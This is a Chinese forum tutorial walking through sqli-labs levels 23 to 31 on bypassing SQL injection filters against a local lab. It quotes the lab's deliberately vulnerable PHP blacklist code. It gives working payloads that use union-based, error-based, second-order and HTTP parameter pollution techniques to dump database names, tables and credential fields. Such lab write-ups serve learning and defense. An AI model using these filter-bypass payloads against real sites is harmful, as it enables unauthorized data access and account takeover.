用户
搜索
  • TA的每日心情
    开心
    7 小时前
  • 签到天数: 197 天

    连续签到: 6 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    63

    主题

    127

    帖子

    3321

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-7-20 21:32:31 02152
    本帖最后由 Johnson666 于 2021-8-5 16:57 编辑

    sqli-labs学习sql注入——绕过篇

    本篇文章作者Johnson666,本篇文章参与i春秋作家连载计划所属从0到1团队,未经许可禁止转载。连载方向:web安全,内网安全

    目录

    1.sqli-labs学习sql注入——MySQL注入相关知识点+联合注入篇

    2.sqli-labs学习sql注入——GET和POST盲注篇+sql传马篇+增删改注入篇

    3.sqli-labs学习sql注入——绕过篇

    4.sqli-labs学习sql注入——HTTP头部注入篇

    5.sqli-labs学习sql注入——宽字节注入篇

    6.sqli-labs学习sql注入——堆叠注入篇

    7.sqli-labs学习sql注入——排序注入和排序堆叠注入篇

    8.sqli-labs学习sql注入——最后的挑战

    Page-2 (Advanced Injections)

    Less-23:注释符号过滤注入

    先来判断注入类型:

    我们使用?id=1",注入代码后,网站正常回显了用户名和密码;

    使用?id=1',会报如下错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    说明这里是单引号注入

    可是这里用--+闭合的时候,还是会报此错,这里猜测可能被过滤了。来看下源码,果然,此处在获取id参数时进行了#--注释符号的过滤。

    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);
    //preg_replace 函数执行一个正则表达式的搜索和替换。这里就是会把#和--都给替换为空了,其实就是过滤了

    那么这里我们就不能用注释符了,但是也不影响我们注入,我们直接再用一个单引号闭合就行了。

    这里列数不能用order by判断了,只能靠union select 1、select 1,2这样一个个尝试。

    用payloadhttp://127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,2,'3测试出了列数为3,且只有两个地方可以回显,就是Your Login name和Your Password这两处地方回显。

    再用payload:http://127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,database(),'3

    结果在Your Login name回显了库名,而Your Password回显了3。

    此处还可以用报错注入,延时注入。

    这里讲讲为什么没有用order by去判断列数,而是靠一个个尝试:

    源码中是这样:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";因为这里把注释符都过滤了,而我是再加一个单引号把后面的单引号闭合的,那么后面的LIMIT 0,1其实还会执行,那么如果我们插入payloadhttp://127.0.0.1/sqli-labs-master/Less-23/?id=1' order by 3',那么源代码就变成这样:$sql="SELECT * FROM users WHERE id='1' order by 3 '' LIMIT 0,1";这样看就很直观明了,这条语句显然是错误的。

    再讲讲为什么id要用-1,其实Less-1的时候就已经有讲过了,这里再讲一遍:因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。

    Less-24:二次注入

    二次注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。二次注入的思路:

    1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
    2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
    3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
    4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
    5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

    login.php源码:

    function sqllogin(){
    
       $username = mysql_real_escape_string($_POST["login_user"]);
       $password = mysql_real_escape_string($_POST["login_password"]);
       $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
       $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
       $row = mysql_fetch_row($res);
        //print_r($row) ;
       if ($row[1]) {
                return $row[1];
       } else {
                  return 0;
       }
    
    }

    其中发现输入进行了mysql_real_escape_string()函数转义。

    再来看看login_create.php的源码:

    //$username=  $_POST['username'] ;
        $username=  mysql_escape_string($_POST['username']) ;
        $pass= mysql_escape_string($_POST['password']);
        $re_pass= mysql_escape_string($_POST['re_password']);
    
        echo "<font size='3' color='#FFFF00'>";
        $sql = "select count(*) from users where username='$username'";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
          $row = mysql_fetch_row($res);

    这里看到把username再次取出来查询的没有任何过滤,所以我们在插入username的就直接把注入的payload插到数据库里,取出来时候造成注入。

    那么在这一关中我们的步骤是先点击"New User click here?"注册一个admin'#的账号,密码为123456

    查看数据库,可以看到我们的数据已经插入进去了。

    我们使用新建的用户名和密码登录,登录成功,跳转到了YOU ARE LOGGED IN的界面,这里还提示我们可以修改密码。那我们修改密码为:654321

    然后便提示密码更新成功Password successfully updated

    这时我们再查看数据库,发现用户admin'#的密码并没有被修改,反而是admin的用户从原来的密码为admin,被修改为了654321。即本来应该修改用户admin'#的密码,此时修改的却是admin的密码。

    那么为什么会是这样呢?我们来看看修改密码页面源代码,发现这里存在明显的SQL注入漏洞:$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";。当我们提交用户名 admin'#,修改密码为654321的时候,这条Sql语句就变为了这样:$sql = "UPDATE users SET PASSWORD='654321' where username='admin'# and password='$curr_pass' ";,其中#把后面的都给注释了,所以就是修改了admin用户的密码为654321了。

    这就是一次二次注入的过程。

    Less-25:and和or过滤注入

    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                        //strip out OR (non case sensitive)
            $id= preg_replace('/AND/i',"", $id);                //Strip out AND (non case sensitive)
    
            return $id;
    }

    这一关从题目和页面就能猜到应该是and和or被过滤了。那么该如何绕过or和and的过滤呢?一般有如下的解决方法:

    (1)大小写变形:Or,OR,oR(sqli-lab是搭在windows上的话,windows系统不区分大小写,所以这种是不行的;Linux系统是可以)

    (2)双写绕过:or替换成oorr,and替换成aandnd这样

    (3)编码:hex(十六进制),urlencode(url编码)

    (4)添加注释:/*or*/

    (5)利用符号:and转换成用&&,or转换成用||(&&需要url编码成%26%26才能成功;而||可以直接用也可以url编码一下,都能成功。这里不知道是环境的问题还是啥问题,知道的师傅可以告诉我下)

    这里先输入'发现页面报错,然后输入payload:http://127.0.0.1/sqli-labs-master/Less-25?id=1' or extractvalue(1,concat(0x7e,database()))--+,发现页面报错:You have an error  in your SQL syntax; check the manual that corresponds to your MySQL  server version for the right syntax to use near  'extractvalue(1,concat(0x7e,database()))-- ' LIMIT 0,1' at line 1这里更加证明了or被过滤,同理and也被过滤了。

    用||替换or:http://127.0.0.1/sqli-labs-master/Less-25/index.php?id=1'||extractvalue(1,concat(0x7e,(select database()),0x7e))--+,成功得到库名。

    用aandnd替换and:http://127.0.0.1/sqli-labs-master/Less-25/index.php?id=1' aandnd extractvalue(1,concat(0x7e,(select database()),0x7e))--+,成功得到库名。

    Less-25a:and和or过滤注入

    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                        //strip out OR (non case sensitive)
            $id= preg_replace('/AND/i',"", $id);                //Strip out AND (non case sensitive)
    
            return $id;
    }

    这一关和25关一样,or和and都被过滤了,不同的是这里是数字型注入,且没有输出错误项,不能用报错注入了。

    首先输入'"都出现报错,那么可能就是数字型注入了。输入payload:http://127.0.0.1/sqli-labs-master/Less-25a?id=1 anandd 1=1,这时页面会回显我们的登录用户名和密码,而改成1=2就不会回显了。那么这里就是数字型注入了。

    那么这里可以用联合注入和延时注入。

    联合注入:先用order by判断列数,因为or被过滤,这里我就双写:?id=1 oorrder by 3。最后可判断出列数为3。

    http://127.0.0.1/sqli-labs-master/Less-25a?id=-1 union select 1,database(),3,成功得到库名

    Less-26:空格,and,or和注释符过滤注入

    $id = blacklist($id);
    $hint =$id;
    function blacklist($id)
    {
        $id = preg_replace('/or/i',"",$id);             //strip out OR (non case sensitive)
        $id = preg_replace('/and/i',"",$id);            //Strip out AND (non case sensitive)
        $id = preg_replace('/[\/\*]/',"",$id);          //strip out /*
        $id = preg_replace('/[--]/',"",$id);            //Strip out --
        $id = preg_replace('/[#]/',"",$id);             //Strip out #
        $id = preg_replace('/[\s]/',"",$id);            //Strip out spaces
        $id = preg_replace('/[\/\\\\]/',"",$id);        //Strip out slashes
        return $id;
    }

    不仅过滤了上一关的orand,还过滤了单行注释--#(含URL编码)以及多行注释/**/(被解释为空格,常用于过滤空格时),还过滤了(空格),以及正反斜杠/\

    这一关是空格,and,or和注释符被过滤了。这里讲讲常见的解决思路:

    ​        1.and和or被过滤的处理方法Less-25已经有提到,这里就不再赘述了。

    ​        2.对于注释符被过滤的处理方法就是只能利用构造一个'或者"来闭合sql语句中原本后面的'或者",这是字符型注入的情况。数字型注入的话后面就不需要注释符。

    ​        3.对于空格被过滤的处理方法有以下几种:

    %09    TAB键(水平)
    %0a    新建一行
    %0c    新的一页
    %0d    return功能
    %0b    TAB键(垂直)
    %a0    空格
    //经过测试,windows系统 + phpstudy的apache这几种都不行,不能解析;在Linux下可以解析%a0和%0b,其它的几种也是不行的

    这里我们开始测试:分别输入"',结果'报错,说明是单引号字符型注入。

    爆库:

    用报错注入,||替换or:http://127.0.0.1/sqli-labs-master/Less-26?id=1'||updatexml(1,concat(0x7e,(database())),1)='1,得到库名。

    用&&url编码成%26%26替换and:http://127.0.0.1/sqli-labs-master/Less-26?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)='1,得到库名。

    用联合注入,%a0替换空格,用&&url编码成%26%26替换and:http://127.0.0.1/sqli-labs-master/Less-26?id=0'%a0union%a0select%a01,database(),3%26%26'1'='1,得到库名。注意,这里是用Linux系统才能成功。

    爆表:http://127.0.0.1/sqli-labs-master/Less-26?id=100'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0aandnd%a0'1'='1

    爆列:http://127.0.0.1/sqli-labs-master/Less-26?id=100'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='users'%a0aandnd%a0'1'='1

    爆字段:http://127.0.0.1/sqli-labs-master/Less-26?id=100%27%a0union%a0select%a01,(concat_ws(',',username,passwoorrd)),3%a0from%a0users%a0where%a01%a0%26%26%a0%271%27%a0=%271

    Less-26a:空格,and,or和注释符过滤注入(单引号括号)

    function blacklist($id)
    {
            $id= preg_replace('/or/i',"", $id);                        //strip out OR (non case sensitive)
            $id= preg_replace('/and/i',"", $id);                //Strip out AND (non case sensitive)
            $id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
            $id= preg_replace('/[--]/',"", $id);                //Strip out --
            $id= preg_replace('/[#]/',"", $id);                        //Strip out #
            $id= preg_replace('/[\s]/',"", $id);                //Strip out spaces
            $id= preg_replace('/[\s]/',"", $id);                //Strip out spaces
            $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
            return $id;
    }

    这一关与Less-26大体上是一样的,区别在于sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所以我们不能用报错注入,可以用延时注入和联合注入。这里是用union注入。

    源代码是这样的:SELECT * FROM users WHERE id=('$id') LIMIT 0,1

    那么我们这里直接用 ') 闭合前面的,然后跟上自己构造的注入语句即可。最后利用('1 进行闭合即可。

    payload:http://127.0.0.1/sqli-labs-master/Less-26?id=1')union%a0select%a01,2,3||('1,判断出列数为3;

    http://127.0.0.1/sqli-labs-master/Less-26?id=100')union%a0select%a01,database(),('3,成功得到库名。

    Less-27:union,select,空格和注释符过滤注入

    $id = blacklist($id);
    $hint = $id;
    function blacklist($id)
    {
        $id= preg_replace('/[\/\*]/',"",$id);       //strip out /*
        $id= preg_replace('/[--]/',"",$id);         //Strip out --.
        $id= preg_replace('/[#]/',"",$id);          //Strip out #.
        $id= preg_replace('/[ +]/',"",$id);         //Strip out spaces.
        $id= preg_replace('/select/m',"",$id);      //Strip out spaces.
        $id= preg_replace('/[ +]/',"",$id);         //Strip out spaces.
        $id= preg_replace('/union/s',"",$id);       //Strip out union
        $id= preg_replace('/select/s',"",$id);      //Strip out select
        $id= preg_replace('/UNION/s',"",$id);       //Strip out UNION
        $id= preg_replace('/SELECT/s',"",$id);      //Strip out SELECT
        $id= preg_replace('/Union/s',"",$id);       //Strip out Union
        $id= preg_replace('/Select/s',"",$id);      //Strip out select
        return $id;
    }

    这一关是没有过滤orand,过滤了几个大小写的unionselect但是可以用随机大小写或者双写绕过,过滤了--#以及/**/,过滤了两次空格,过滤了/但没过滤\。之前的那些字符的处理方法就不赘述了,这里讲讲union和select被过滤的处理方法:

    ​        1.双写绕过:uunionnion,seselectlect

    ​        2.大小写变形:SelEcT,unIon(因为我的sqli-lab是搭在windows上,windows系统不区分大小写,所以这种是不行的)

    这里采用大小写的方法。输入'报错,说明是单引号注入。

    可以利用报错注入和延时注入和联合注入的语法进行注入。这里用联合注入:

    获取数据库名:?id=1'%a0UNion%a0SeleCt%a01,database(),3%a0and '1'%a0='1

    Less-27a:union,select,空格和注释符过滤注入(双引号)

    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
    $id= preg_replace('/[--]/',"", $id);                //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                        //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);            //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);            //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);            //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);            //Strip out union
    $id= preg_replace('/select/s',"", $id);            //Strip out select
    $id= preg_replace('/UNION/s',"", $id);            //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);            //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);            //Strip out Union
    $id= preg_replace('/Select/s',"", $id);            //Strip out Select
    return $id;
    }

    这一关是双引号字符型注入,但是mysql的错误不会在前端页面显示。所以只能用延时注入和联合注入。

    ?id=1"%a0UNion%a0SeleCt%a01,database(),3%a0and '1'%a0="1

    Less-28:union,select,空格和注释符过滤注入(单引号括号)

    function blacklist($id)
    {
    $id= preg_replace('/[\/\*]/',"", $id);                                //strip out /*
    $id= preg_replace('/[--]/',"", $id);                                //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                                        //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);                            //Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);                                    //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);                            //Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);            //Strip out UNION & SELECT.
    return $id;
    }

    没有过滤orand
    过滤了相连的unionselect/i同时匹配大小写,\s匹配任意空白字符如制表符、换行符、空格等,使用%a0等可以绕过。
    过滤了--#以及/**/
    过滤了两次空格
    过滤了/但没过滤\

    payload:

    ?id=1')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1

    Less-28a:union和select过滤注入

    $id = blacklist($id);
    $hint = $id;
    function blacklist($id)
    {
        $id = preg_replace('/or/i',"",$id);
        $id = preg_replace('/and/i',"",$id);
        $id = preg_replace('/[\/\*]/',"",$id);
        $id = preg_replace('/[--]/',"",$id);
        $id = preg_replace('/[#]/',"",$id);
        $id = preg_replace('/[\/\\\\]/',"",$id);
        $id = preg_replace('/[ +]/',"",$id);
        $id = preg_replace('/[\s]/',"",$id);
        $id = preg_replace('/select/i',"",$id);
        $id = preg_replace('/union/i',"",$id);
        $id = preg_replace('/union\s+select/i',"",$id);
        return $id;
    }

    在 Less 28 的基础上还注释掉了很多过滤,这里给了一个比较强的过滤条件:

    • 过滤orand
    • 过滤--#/**/
    • 过滤/\
    • 过滤空格两次
    • 过滤unionselect同时匹配大小写
    • 过滤union空白字符连接select同时匹配大小写

    payload:

    ?id=100%27)unIon%0bsElect%0b1,database(),3||(%271

    1.服务器(两层)架构以及HPP绕过WAF的知识点

    1.这里首先一定要来介绍下29-31这三关的情况:

    Less 29 - Less 31这三关不能只考虑了 apache(php) 服务器,而这三关实际上是两层服务器架构,在做这三关之前需要把 Tomcat 为引擎的 jsp 服务器搭建好。

    这里简单讲解一下相关环境的搭建。我搭建的环境为Linux系统,此处以我搭建的环境为例,我们需要下载三个东西:tomcat服务器jdkmysql-connector-java.jar。分别安装,这里要注意:        

    ​        1.tomcat服务器在安装完需要配置一下Tomcat/conf/server.xml中的项目发布文件夹appBase

    <Host name="localhost"  appBase="D:/Web-jsp" unpackWARs="true" autoDeploy="true">

    注意:Tomcat部署多个项目有两种方式,单端口或多端口:一个 tomcat 下如何部署多个项目?附详细步骤

    ​        2.jdk安装后要export环境变量;

    ​        3.然后下载mysql-connector-java.jar包,放入Tomcat/lib中,然后把它加入系统环境变量。;

    ​        4.接下来将Sqli-Labs文件夹中的tomcat-files.zip解压到tomcat服务器webapp/ROOT目录下(Tomcat 的项目发布文件夹),此处需要说明的是需要修改源代码中正确的路径和自己mysql的用户名和密码。

    最后这里便可以正常访问 Less 29 - Less 32 的 jsp 文件了,就可以正确的完成29-32关了。

    2.然后再来介绍下服务器(两层)架构以及HPP:

    服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。

    那么login.php?id=1&id=2,最后显示的id=1的数据还是显示id=2的数据呢?这里就涉及到了服务器对于参数解析的问题:

    这里apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。

    这张图为大多数服务器对于参数解析的介绍。

    这里有个问题:login.jsp?id=1&id=2请求,针对最上面那张图中的服务器配置情况,客户端请求首先过tomcat服务器,tomcat服务器解析第一个参数,接下来tomcat去请求apache(php)服务器,apache服务器解析最后一个参数。那么最后返回客户端的应该是哪个参数呢?

    解释:这里应该是id=2的内容。因为实际上真正提供web服务的是apache(php)服务器,返回的数据也应该是apache服务器处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们这里可以利用该原理绕过WAF的检测。这种方式就是HPP(HTTP Parameter Pollution),即http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。

    Less-29:基于错误-GET-双服务器-单引号-字符型注入

    1.确定双服务器:

    访问http://loaclhost:8080/sqli-labs-master/Less-29?id=1'

    从跳转到.jsp页面可以看出来是 Tomcat 服务器,一般来说,现在没有拿 jsp 写后台的了,大都用 php ,我们果断猜测是双服务器。那么这里用HPP,即http参数污染攻击:

    http://loaclhost:8080/sqli-labs-master/Less-29?id=1&id=2

    上面有解释过?id=1&id=2最后返回客户端的应该是id=2的内容。这里为了保险起见可以看看真正接受的位置在哪:

    http://loaclhost:8080/sqli-labs-master/Less-29?id=-1&id=2

    会回显id为2的用户名和密码;

    http://loaclhost:8080/sqli-labs-master/Less-29?id=1&id=-2

    回显的用户名和密码都没了。

    说明后端接收的是第二个id参数传入的值,因此可以通过第二个id参数完成注入。

    2.注入点测试:

    http://loaclhost:8080/sqli-labs-master/Less-29?id=1&id=2'

    报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "2" LIMIT 0,1' at line 1

    判断出这里为双引号字符型注入

    3.注入:

    因此我们根据HPP的原理,我们直接payload:

    http://loaclhost:8080/sqli-labs-master/Less-29?id=1&id=-2%27union%20select%201,database(),3--+,得到库名

    Less-30:基于错误-GET-双服务器-双引号-字符型盲注

    payload:http://loaclhost:8080/sqli-labs-master/Less-30?id=1&id=-2"union%20select%201,database(),3--+,得到库名

    Less-31:基于错误-GET-双服务器-双引号小括号-字符型注入

    payload:http://loaclhost:8080/sqli-labs-master/Less-31?id=1&id=-2")union select 1,database(),3--+,得到库名

    Less-29到Less-31这三关是用HPP来完成注入。从以上三关中,我们主要学习到的是不同服务器对于参数的不同处理,HPP的应用有很多,不仅仅是我们上述列出绕过WAF这一个方面,还有可以执行重复操作,可以执行非法操作等。

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册